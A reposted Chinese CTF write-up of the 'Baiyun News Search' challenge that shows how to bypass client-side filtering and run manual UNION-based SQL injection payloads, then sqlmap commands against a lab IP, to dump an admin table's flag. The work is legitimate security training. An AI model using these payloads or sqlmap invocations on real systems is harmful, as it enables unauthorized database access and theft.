当前位置: 移动技术网 > IT编程>开发语言>JavaScript > CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)

CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)

2020年07月29日  | 移动技术网IT编程  | 我要评论

题目

在这里插入图片描述
给出的靶机如下:
在这里插入图片描述

解题思路

首先判断这是考察哪个知识点,只有一个输入框,题目中又说到入侵,首先考虑sql注入,下面介绍手工和自动化注入两种方式
(1)手工注入
先随便输入几个值,发现只有在值等于“内容”时有返回结果,其他关键字均没有结果,但是会有会先如下:
在这里插入图片描述
用“ ’ ”来探测是否能接受特殊字符以及是否存在注入点,结果如图:
在这里插入图片描述很显然,存在前台的js代码在控制输入的字符,找到这个网页的js代码,如下:
在这里插入图片描述
代码把所有的特殊字符都换成了空字符。
现在要做的就是就是先把这个网站的js代码停用,如下图:
在这里插入图片描述
停用以后:
在这里插入图片描述
接着测试,使用 ’ or 1=1 – ’
在这里插入图片描述把所有的内容都显示了出来,由此判断出,网站后台的SQL语句代码大概为:
select * from 某个表 where 某个字段=‘关键字’ limit 5;
由这个推断继续往下试探,使用 ’ union select 1 from INFORMATION_SCHEMA.tables – ’ 这一格式来试探其sql语句的返回结果共有几个字段,结果显示为三个,如下:
在这里插入图片描述
而且在访问INFORMATION_SCHEMA数据库时没有报错,那就是拥有访问权限
查看存在的数据库和表,命令如下 ’ union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.tables – ’

如图:
在这里插入图片描述
通过分析,当下用户可以查看到两个数据库:INFORMATION_SCHEMA news
flag大概率在news数据库中,其中的news表存的应该是新闻信息,现在主要看admin表
通过如下命令:
在这里插入图片描述
查看所有列,(其实可以添加where语句进行过滤,但是加了无结果,还没找到原因)
看到存在“flag”列
在这里插入图片描述
用以下语句获取admin表里的flag列的数据 ’ union select 1,2,flag from admin – ’
获得结果如下:
在这里插入图片描述
得到了flg,大功告成。

(2) sqlmap自动化注入

使用sqlmap能 大大的提高注入效率,这显然是使用post方法提交的,所以需要看一下提交的格式,这里使用burpsuite来查看,如图:
在这里插入图片描述
然后使用如下语句进行注入 sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” --dbs

结果如下:
在这里插入图片描述
这里看到多探测出一个“test”数据库
查看news数据库存在的表:
sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” -D news --tables

在这里插入图片描述
把admin表dump出来,如下:
sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” -D news -T admin --dump

在这里插入图片描述
同样看到flag。

总结

sqlmap注入的效率要高的太多,但是手工注入是基础,也要加强学习。

本文地址:https://blog.csdn.net/qq_29566629/article/details/107603537

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网